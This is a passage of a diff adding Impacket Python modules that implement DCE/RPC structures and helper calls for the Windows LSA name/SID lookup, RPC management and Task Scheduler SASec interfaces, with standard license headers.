item = LSA_TRANSLATED_SID
|
||||
|
||||
class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSA_TRANSLATED_SID_ARRAY),
|
||||
)
|
||||
|
||||
class LSAPR_TRANSLATED_SIDS(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('Sids', PLSA_TRANSLATED_SID_ARRAY),
|
||||
)
|
||||
|
||||
# 2.2.16 LSAP_LOOKUP_LEVEL
|
||||
class LSAP_LOOKUP_LEVEL(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
LsapLookupWksta = 1
|
||||
LsapLookupPDC = 2
|
||||
LsapLookupTDL = 3
|
||||
LsapLookupGC = 4
|
||||
LsapLookupXForestReferral = 5
|
||||
LsapLookupXForestResolve = 6
|
||||
LsapLookupRODCReferralToFullDC = 7
|
||||
|
||||
# 2.2.17 LSAPR_SID_INFORMATION
|
||||
class LSAPR_SID_INFORMATION(NDRSTRUCT):
|
||||
structure = (
|
||||
('Sid', PRPC_SID),
|
||||
)
|
||||
|
||||
# 2.2.18 LSAPR_SID_ENUM_BUFFER
|
||||
class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
|
||||
item = LSAPR_SID_INFORMATION
|
||||
|
||||
class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSAPR_SID_INFORMATION_ARRAY),
|
||||
)
|
||||
|
||||
class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('SidInfo', PLSAPR_SID_INFORMATION_ARRAY),
|
||||
)
|
||||
|
||||
# 2.2.19 LSAPR_TRANSLATED_NAME
|
||||
class LSAPR_TRANSLATED_NAME(NDRSTRUCT):
|
||||
structure = (
|
||||
('Use', SID_NAME_USE),
|
||||
('Name', RPC_UNICODE_STRING),
|
||||
('DomainIndex', LONG),
|
||||
)
|
||||
|
||||
# 2.2.20 LSAPR_TRANSLATED_NAMES
|
||||
class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray):
|
||||
item = LSAPR_TRANSLATED_NAME
|
||||
|
||||
class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSAPR_TRANSLATED_NAME_ARRAY),
|
||||
)
|
||||
|
||||
class LSAPR_TRANSLATED_NAMES(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('Names', PLSAPR_TRANSLATED_NAME_ARRAY),
|
||||
)
|
||||
|
||||
# 2.2.21 LSAPR_TRANSLATED_NAME_EX
|
||||
class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT):
|
||||
structure = (
|
||||
('Use', SID_NAME_USE),
|
||||
('Name', RPC_UNICODE_STRING),
|
||||
('DomainIndex', LONG),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
|
||||
# 2.2.22 LSAPR_TRANSLATED_NAMES_EX
|
||||
class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray):
|
||||
item = LSAPR_TRANSLATED_NAME_EX
|
||||
|
||||
class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY),
|
||||
)
|
||||
|
||||
class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY),
|
||||
)
|
||||
|
||||
# 2.2.23 LSAPR_TRANSLATED_SID_EX
|
||||
class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT):
|
||||
structure = (
|
||||
('Use', SID_NAME_USE),
|
||||
('RelativeId', ULONG),
|
||||
('DomainIndex', LONG),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
|
||||
# 2.2.24 LSAPR_TRANSLATED_SIDS_EX
|
||||
class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray):
|
||||
item = LSAPR_TRANSLATED_SID_EX
|
||||
|
||||
class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSAPR_TRANSLATED_SID_EX_ARRAY),
|
||||
)
|
||||
|
||||
class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY),
|
||||
)
|
||||
|
||||
# 2.2.25 LSAPR_TRANSLATED_SID_EX2
|
||||
class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT):
|
||||
structure = (
|
||||
('Use', SID_NAME_USE),
|
||||
('Sid', PRPC_SID),
|
||||
('DomainIndex', LONG),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
|
||||
# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2
|
||||
class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray):
|
||||
item = LSAPR_TRANSLATED_SID_EX2
|
||||
|
||||
class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY),
|
||||
)
|
||||
|
||||
class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY),
|
||||
)
|
||||
|
||||
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
|
||||
item = RPC_UNICODE_STRING
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
# 3.1.4.4 LsarGetUserName (Opnum 45)
|
||||
class LsarGetUserName(NDRCALL):
|
||||
opnum = 45
|
||||
structure = (
|
||||
('SystemName', LPWSTR),
|
||||
('UserName', PRPC_UNICODE_STRING),
|
||||
('DomainName', PRPC_UNICODE_STRING),
|
||||
)
|
||||
|
||||
class LsarGetUserNameResponse(NDRCALL):
|
||||
structure = (
|
||||
('UserName', PRPC_UNICODE_STRING),
|
||||
('DomainName', PRPC_UNICODE_STRING),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.5 LsarLookupNames4 (Opnum 77)
|
||||
class LsarLookupNames4(NDRCALL):
|
||||
opnum = 77
|
||||
structure = (
|
||||
('Count', ULONG),
|
||||
('Names', RPC_UNICODE_STRING_ARRAY),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
('LookupOptions', ULONG),
|
||||
('ClientRevision', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupNames4Response(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.6 LsarLookupNames3 (Opnum 68)
|
||||
class LsarLookupNames3(NDRCALL):
|
||||
opnum = 68
|
||||
structure = (
|
||||
('PolicyHandle', LSAPR_HANDLE),
|
||||
('Count', ULONG),
|
||||
('Names', RPC_UNICODE_STRING_ARRAY),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
('LookupOptions', ULONG),
|
||||
('ClientRevision', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupNames3Response(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.7 LsarLookupNames2 (Opnum 58)
|
||||
class LsarLookupNames2(NDRCALL):
|
||||
opnum = 58
|
||||
structure = (
|
||||
('PolicyHandle', LSAPR_HANDLE),
|
||||
('Count', ULONG),
|
||||
('Names', RPC_UNICODE_STRING_ARRAY),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
('LookupOptions', ULONG),
|
||||
('ClientRevision', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupNames2Response(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.8 LsarLookupNames (Opnum 14)
|
||||
class LsarLookupNames(NDRCALL):
|
||||
opnum = 14
|
||||
structure = (
|
||||
('PolicyHandle', LSAPR_HANDLE),
|
||||
('Count', ULONG),
|
||||
('Names', RPC_UNICODE_STRING_ARRAY),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupNamesResponse(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.9 LsarLookupSids3 (Opnum 76)
|
||||
class LsarLookupSids3(NDRCALL):
|
||||
opnum = 76
|
||||
structure = (
|
||||
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
|
||||
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
('LookupOptions', ULONG),
|
||||
('ClientRevision', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupSids3Response(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.10 LsarLookupSids2 (Opnum 57)
|
||||
class LsarLookupSids2(NDRCALL):
|
||||
opnum = 57
|
||||
structure = (
|
||||
('PolicyHandle', LSAPR_HANDLE),
|
||||
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
|
||||
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
('LookupOptions', ULONG),
|
||||
('ClientRevision', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupSids2Response(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
# 3.1.4.11 LsarLookupSids (Opnum 15)
|
||||
class LsarLookupSids(NDRCALL):
|
||||
opnum = 15
|
||||
structure = (
|
||||
('PolicyHandle', LSAPR_HANDLE),
|
||||
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
|
||||
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
|
||||
('LookupLevel', LSAP_LOOKUP_LEVEL),
|
||||
('MappedCount', ULONG),
|
||||
)
|
||||
|
||||
class LsarLookupSidsResponse(NDRCALL):
|
||||
structure = (
|
||||
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
|
||||
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
|
||||
('MappedCount', ULONG),
|
||||
('ErrorCode', NTSTATUS),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
14 : (LsarLookupNames, LsarLookupNamesResponse),
|
||||
15 : (LsarLookupSids, LsarLookupSidsResponse),
|
||||
45 : (LsarGetUserName, LsarGetUserNameResponse),
|
||||
57 : (LsarLookupSids2, LsarLookupSids2Response),
|
||||
58 : (LsarLookupNames2, LsarLookupNames2Response),
|
||||
68 : (LsarLookupNames3, LsarLookupNames3Response),
|
||||
76 : (LsarLookupSids3, LsarLookupSids3Response),
|
||||
77 : (LsarLookupNames4, LsarLookupNames4Response),
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS
|
||||
################################################################################
|
||||
def hLsarGetUserName(dce, userName = NULL, domainName = NULL):
|
||||
request = LsarGetUserName()
|
||||
request['SystemName'] = NULL
|
||||
request['UserName'] = userName
|
||||
request['DomainName'] = domainName
|
||||
return dce.request(request)
|
||||
|
||||
def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
|
||||
request = LsarLookupNames4()
|
||||
request['Count'] = len(names)
|
||||
for name in names:
|
||||
itemn = RPC_UNICODE_STRING()
|
||||
itemn['Data'] = name
|
||||
request['Names'].append(itemn)
|
||||
request['TranslatedSids']['Sids'] = NULL
|
||||
request['LookupLevel'] = lookupLevel
|
||||
request['LookupOptions'] = lookupOptions
|
||||
request['ClientRevision'] = clientRevision
|
||||
|
||||
return dce.request(request)
|
||||
|
||||
def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
|
||||
request = LsarLookupNames3()
|
||||
request['PolicyHandle'] = policyHandle
|
||||
request['Count'] = len(names)
|
||||
for name in names:
|
||||
itemn = RPC_UNICODE_STRING()
|
||||
itemn['Data'] = name
|
||||
request['Names'].append(itemn)
|
||||
request['TranslatedSids']['Sids'] = NULL
|
||||
request['LookupLevel'] = lookupLevel
|
||||
request['LookupOptions'] = lookupOptions
|
||||
request['ClientRevision'] = clientRevision
|
||||
|
||||
return dce.request(request)
|
||||
|
||||
def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
|
||||
request = LsarLookupNames2()
|
||||
request['PolicyHandle'] = policyHandle
|
||||
request['Count'] = len(names)
|
||||
for name in names:
|
||||
itemn = RPC_UNICODE_STRING()
|
||||
itemn['Data'] = name
|
||||
request['Names'].append(itemn)
|
||||
request['TranslatedSids']['Sids'] = NULL
|
||||
request['LookupLevel'] = lookupLevel
|
||||
request['LookupOptions'] = lookupOptions
|
||||
request['ClientRevision'] = clientRevision
|
||||
|
||||
return dce.request(request)
|
||||
|
||||
def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
|
||||
request = LsarLookupNames()
|
||||
request['PolicyHandle'] = policyHandle
|
||||
request['Count'] = len(names)
|
||||
for name in names:
|
||||
itemn = RPC_UNICODE_STRING()
|
||||
itemn['Data'] = name
|
||||
request['Names'].append(itemn)
|
||||
request['TranslatedSids']['Sids'] = NULL
|
||||
request['LookupLevel'] = lookupLevel
|
||||
|
||||
return dce.request(request)
|
||||
|
||||
def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
|
||||
request = LsarLookupSids2()
|
||||
request['PolicyHandle'] = policyHandle
|
||||
request['SidEnumBuffer']['Entries'] = len(sids)
|
||||
for sid in sids:
|
||||
itemn = LSAPR_SID_INFORMATION()
|
||||
itemn['Sid'].fromCanonical(sid)
|
||||
request['SidEnumBuffer']['SidInfo'].append(itemn)
|
||||
|
||||
request['TranslatedNames']['Names'] = NULL
|
||||
request['LookupLevel'] = lookupLevel
|
||||
request['LookupOptions'] = lookupOptions
|
||||
request['ClientRevision'] = clientRevision
|
||||
|
||||
return dce.request(request)
|
||||
|
||||
def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
|
||||
request = LsarLookupSids()
|
||||
request['PolicyHandle'] = policyHandle
|
||||
request['SidEnumBuffer']['Entries'] = len(sids)
|
||||
for sid in sids:
|
||||
itemn = LSAPR_SID_INFORMATION()
|
||||
itemn['Sid'].fromCanonical(sid)
|
||||
request['SidEnumBuffer']['SidInfo'].append(itemn)
|
||||
|
||||
request['TranslatedNames']['Names'] = NULL
|
||||
request['LookupLevel'] = lookupLevel
|
||||
|
||||
return dce.request(request)
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [C706] Remote Management Interface implementation
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Some calls have helper functions, which makes it even easier to use.
|
||||
# They are located at the end of this file.
|
||||
# Helper functions start with "h"<name of the call>.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray
|
||||
from impacket.dcerpc.v5.epm import PRPC_IF_ID
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket import nt_errors
|
||||
|
||||
MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if nt_errors.ERROR_MESSAGES.has_key(key):
|
||||
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
|
||||
return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
|
||||
class rpc_if_id_p_t_array(NDRUniConformantArray):
|
||||
item = PRPC_IF_ID
|
||||
|
||||
class rpc_if_id_vector_t(NDRSTRUCT):
|
||||
structure = (
|
||||
('count',ULONG),
|
||||
('if_id',rpc_if_id_p_t_array),
|
||||
)
|
||||
structure64 = (
|
||||
('count',ULONGLONG),
|
||||
('if_id',rpc_if_id_p_t_array),
|
||||
)
|
||||
|
||||
class rpc_if_id_vector_p_t(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', rpc_if_id_vector_t),
|
||||
)
|
||||
|
||||
error_status = ULONG
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class inq_if_ids(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
)
|
||||
|
||||
class inq_if_idsResponse(NDRCALL):
|
||||
structure = (
|
||||
('if_id_vector', rpc_if_id_vector_p_t),
|
||||
('status', error_status),
|
||||
)
|
||||
|
||||
class inq_stats(NDRCALL):
|
||||
opnum = 1
|
||||
structure = (
|
||||
('count', ULONG),
|
||||
)
|
||||
|
||||
class inq_statsResponse(NDRCALL):
|
||||
structure = (
|
||||
('count', ULONG),
|
||||
('statistics', DWORD_ARRAY),
|
||||
('status', error_status),
|
||||
)
|
||||
|
||||
class is_server_listening(NDRCALL):
|
||||
opnum = 2
|
||||
structure = (
|
||||
)
|
||||
|
||||
class is_server_listeningResponse(NDRCALL):
|
||||
structure = (
|
||||
('status', error_status),
|
||||
)
|
||||
|
||||
class stop_server_listening(NDRCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
)
|
||||
|
||||
class stop_server_listeningResponse(NDRCALL):
|
||||
structure = (
|
||||
('status', error_status),
|
||||
)
|
||||
|
||||
class inq_princ_name(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('authn_proto', ULONG),
|
||||
('princ_name_size', ULONG),
|
||||
)
|
||||
|
||||
class inq_princ_nameResponse(NDRCALL):
|
||||
structure = (
|
||||
('princ_name', NDRUniConformantVaryingArray),
|
||||
('status', error_status),
|
||||
)
|
||||
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (inq_if_ids, inq_if_idsResponse),
|
||||
1 : (inq_stats, inq_statsResponse),
|
||||
2 : (is_server_listening, is_server_listeningResponse),
|
||||
3 : (stop_server_listening, stop_server_listeningResponse),
|
||||
4 : (inq_princ_name, inq_princ_nameResponse),
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS
|
||||
################################################################################
|
||||
def hinq_if_ids(dce):
|
||||
request = inq_if_ids()
|
||||
return dce.request(request)
|
||||
|
||||
def hinq_stats(dce, count = 4):
|
||||
request = inq_stats()
|
||||
request['count'] = count
|
||||
return dce.request(request)
|
||||
|
||||
def his_server_listening(dce):
|
||||
request = is_server_listening()
|
||||
return dce.request(request, checkError=False)
|
||||
|
||||
def hstop_server_listening(dce):
|
||||
request = stop_server_listening()
|
||||
return dce.request(request)
|
||||
|
||||
def hinq_princ_name(dce, authn_proto=0, princ_name_size=1):
|
||||
request = inq_princ_name()
|
||||
request['authn_proto'] = authn_proto
|
||||
request['princ_name_size'] = princ_name_size
|
||||
return dce.request(request, checkError=False)
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,175 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-TSCH] SASec Interface implementation
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Some calls have helper functions, which makes it even easier to use.
|
||||
# They are located at the end of this file.
|
||||
# Helper functions start with "h"<name of the call>.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
|
||||
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL
|
||||
from impacket import hresult_errors
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
MSRPC_UUID_SASEC = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0'))
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if hresult_errors.ERROR_MESSAGES.has_key(key):
|
||||
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
|
||||
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
SASEC_HANDLE = WSTR
|
||||
PSASEC_HANDLE = LPWSTR
|
||||
|
||||
MAX_BUFFER_SIZE = 273
|
||||
|
||||
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
|
||||
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class WORD_ARRAY(NDRUniConformantArray):
|
||||
item = '<H'
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
|
||||
class SASetAccountInformation(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('Handle', PSASEC_HANDLE),
|
||||
('pwszJobName', WSTR),
|
||||
('pwszAccount', WSTR),
|
||||
('pwszPassword', LPWSTR),
|
||||
('dwJobFlags', DWORD),
|
||||
)
|
||||
|
||||
class SASetAccountInformationResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.3.5 SASetNSAccountInformation (Opnum 1)
|
||||
class SASetNSAccountInformation(NDRCALL):
|
||||
opnum = 1
|
||||
structure = (
|
||||
('Handle', PSASEC_HANDLE),
|
||||
('pwszAccount', LPWSTR),
|
||||
('pwszPassword', LPWSTR),
|
||||
)
|
||||
|
||||
class SASetNSAccountInformationResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.3.6 SAGetNSAccountInformation (Opnum 2)
|
||||
class SAGetNSAccountInformation(NDRCALL):
|
||||
opnum = 2
|
||||
structure = (
|
||||
('Handle', PSASEC_HANDLE),
|
||||
('ccBufferSize', DWORD),
|
||||
('wszBuffer', WORD_ARRAY),
|
||||
)
|
||||
|
||||
class SAGetNSAccountInformationResponse(NDRCALL):
|
||||
structure = (
|
||||
('wszBuffer',WORD_ARRAY),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.3.7 SAGetAccountInformation (Opnum 3)
|
||||
class SAGetAccountInformation(NDRCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('Handle', PSASEC_HANDLE),
|
||||
('pwszJobName', WSTR),
|
||||
('ccBufferSize', DWORD),
|
||||
('wszBuffer', WORD_ARRAY),
|
||||
)
|
||||
|
||||
class SAGetAccountInformationResponse(NDRCALL):
|
||||
structure = (
|
||||
('wszBuffer',WORD_ARRAY),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (SASetAccountInformation, SASetAccountInformationResponse),
|
||||
1 : (SASetNSAccountInformation, SASetNSAccountInformationResponse),
|
||||
2 : (SAGetNSAccountInformation, SAGetNSAccountInformationResponse),
|
||||
3 : (SAGetAccountInformation, SAGetAccountInformationResponse),
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS
|
||||
################################################################################
|
||||
def checkNullString(string):
|
||||
if string == NULL:
|
||||
return string
|
||||
|
||||
if string[-1:] != '\x00':
|
||||
return string + '\x00'
|
||||
else:
|
||||
return string
|
||||
|
||||
def hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):
|
||||
request = SASetAccountInformation()
|
||||
request['Handle'] = handle
|
||||
request['pwszJobName'] = checkNullString(pwszJobName)
|
||||
request['pwszAccount'] = checkNullString(pwszAccount)
|
||||
request['pwszPassword'] = checkNullString(pwszPassword)
|
||||
request['dwJobFlags'] = dwJobFlags
|
||||
return dce.request(request)
|
||||
|
||||
def hSASetNSAccountInformation(dce, handle, pwszAccount, pwszPassword):
|
||||
request = SASetNSAccountInformation()
|
||||
request['Handle'] = handle
|
||||
request['pwszAccount'] = checkNullString(pwszAccount)
|
||||
request['pwszPassword'] = checkNullString(pwszPassword)
|
||||
return dce.request(request)
|
||||
|
||||
def hSAGetNSAccountInformation(dce, handle, ccBufferSize = MAX_BUFFER_SIZE):
|
||||
request = SAGetNSAccountInformation()
|
||||
request['Handle'] = handle
|
||||
request['ccBufferSize'] = ccBufferSize
|
||||
for _ in range(ccBufferSize):
|
||||
request['wszBuffer'].append(0)
|
||||
return dce.request(request)
|
||||
|
||||
def hSAGetAccountInformation(dce, handle, pwszJobName, ccBufferSize = MAX_BUFFER_SIZE):
|
||||
request = SAGetAccountInformation()
|
||||
request['Handle'] = handle
|
||||
request['pwszJobName'] = checkNullString(pwszJobName)
|
||||
request['ccBufferSize'] = ccBufferSize
|
||||
for _ in range(ccBufferSize):
|
||||
request['wszBuffer'].append(0)
|
||||
return dce.request(request)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,473 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
